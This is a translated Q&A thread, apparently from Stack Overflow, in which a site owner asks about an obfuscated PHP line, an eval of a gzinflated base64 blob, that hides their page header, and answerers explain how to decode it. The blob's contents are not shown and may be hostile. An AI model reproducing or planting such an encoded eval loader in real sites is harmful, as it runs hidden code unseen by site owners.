我花了一个多小时试图解码这个：
<?php eval(stripslashes(gzinflate(base64_decode("vVZNj9MwEL0j8R9ML2kl2uwBrRB0WwmEhBBwWSSO0TR2G+86tmU77XZ/Pf5I2zR1kl1W0FM88+bZffM8yXLx+hWqf/M30ym6NXtGNBLSUME1mk6bgKUsJKI8ZxUm46R+0Kl2NTObSyZo2Sb8wjES6yjvCRmg326RzhWV5rAHbu1fZ81ekpuRIQ8mvYMthOjonLDnuFIRYykKYUTk0H2VebUW/Jk1mlFMVKOo8X/ScPQOybrkCOh5WhDAp+VK4P05u6P6ajFEod8KZEtLTLeI4ptR4RHTnUVEJHQcv4T8BDGOMx4j5AoCjyTqkioGdi2sFImD2/t/FtwQbi6P0MWeh4Ju9lPbdjLjsM1KwqsxKAX7ceKqgXKiEnSzQGtgmrxFiUNkFPtYUu9jKxObMgUpScZEDs7iR4RLkbwQPmBU5VhWZC0UCRCXh7Wp9/FLRvl91sbYE7AV5PdZvgpBTLVksM8KUZJjVYsJE2kKv7yyqx2w+zrLyQ5Zd3p72dNmITWeTCYfWyaNCxbxucgpsKjPz8pT26VFT7dr88eaHjFUzdbyZGSPCPfJ0C6ppZ1LQtkFoEKRtb0ZxsgPqRsXJa3KnVDYPmo9M9t0tKij6Biep7DoLL4TomQw48Q0SkMQGVLaPhrSz4BVJa285wwhiLzz+stL2FgZRau+jvYS+JyCx0c6y0XZKG4WhWerJYqo/sNeo5+wHRogpYW5uzQwQpqMvSPhknhwILxkGBx26RoFLv/PZ4HdkGyEokT/h4nQdZWbVy3aqYHxfeyXLgCL3Wjxd7f80nYR7HexEUPGZBbzBFN6qqc50jMOu/HIOvzKc4wDL7rDvQ4mX9kKytdinFSKJb7HVmhabpBW+QHkvIowluPE8WfUzQs/3UcImLmk4mBfRQcuPxg6T6Ml8EW7vuG/QGO/kBzupS8TdhSxB1t/KgF+gtzhownwsyQ/qfnu+v3D9RXgzGs/IP0B3BR+hFIv8Hz5Bw==")))); ?>
我想将Google Analytics添加到网站，但由于此代码，我没有</head>。知道发生了什么事吗？
答案 0 :(得分：1)
取字符串，base64解码它，然后gzinflate它并删除斜杠。
这已经是eval()函数中的几乎所有内容。因此，请将其写入文件而不是eval。
进行所需的更改，在需要的地方添加斜杠（？），gzip和base64编码结果。用最终结果替换上面的字符串。
答案 1 :(得分：0)
如果我误解了，base64编码的字符串无效。你能在这里查看：http://www.motobit.com/util/base64-decoder-encoder.asp
答案 2 :(得分：0)
以下是支持它的代码：
file_put_contents('temp.txt', stripslashes(gzinflate(base64_decode("vVZNj9MwEL0j8R9ML2kl2uwBrRB0WwmEhBBwWSSO0TR2G+86tmU77XZ/Pf5I2zR1kl1W0FM88+bZffM8yXLx+hWqf/M30ym6NXtGNBLSUME1mk6bgKUsJKI8ZxUm46R+0Kl2NTObSyZo2Sb8wjES6yjvCRmg326RzhWV5rAHbu1fZ81ekpuRIQ8mvYMthOjonLDnuFIRYykKYUTk0H2VebUW/Jk1mlFMVKOo8X/ScPQOybrkCOh5WhDAp+VK4P05u6P6ajFEod8KZEtLTLeI4ptR4RHTnUVEJHQcv4T8BDGOMx4j5AoCjyTqkioGdi2sFImD2/t/FtwQbi6P0MWeh4Ju9lPbdjLjsM1KwqsxKAX7ceKqgXKiEnSzQGtgmrxFiUNkFPtYUu9jKxObMgUpScZEDs7iR4RLkbwQPmBU5VhWZC0UCRCXh7Wp9/FLRvl91sbYE7AV5PdZvgpBTLVksM8KUZJjVYsJE2kKv7yyqx2w+zrLyQ5Zd3p72dNmITWeTCYfWyaNCxbxucgpsKjPz8pT26VFT7dr88eaHjFUzdbyZGSPCPfJ0C6ppZ1LQtkFoEKRtb0ZxsgPqRsXJa3KnVDYPmo9M9t0tKij6Biep7DoLL4TomQw48Q0SkMQGVLaPhrSz4BVJa285wwhiLzz+stL2FgZRau+jvYS+JyCx0c6y0XZKG4WhWerJYqo/sNeo5+wHRogpYW5uzQwQpqMvSPhknhwILxkGBx26RoFLv/PZ4HdkGyEokT/h4nQdZWbVy3aqYHxfeyXLgCL3Wjxd7f80nYR7HexEUPGZBbzBFN6qqc50jMOu/HIOvzKc4wDL7rDvQ4mX9kKytdinFSKJb7HVmhabpBW+QHkvIowluPE8WfUzQs/3UcImLmk4mBfRQcuPxg6T6Ml8EW7vuG/QGO/kBzupS8TdhSxB1t/KgF+gtzhownwsyQ/qfnu+v3D9RXgzGs/IP0B3BR+hFIv8Hz5Bw=="))));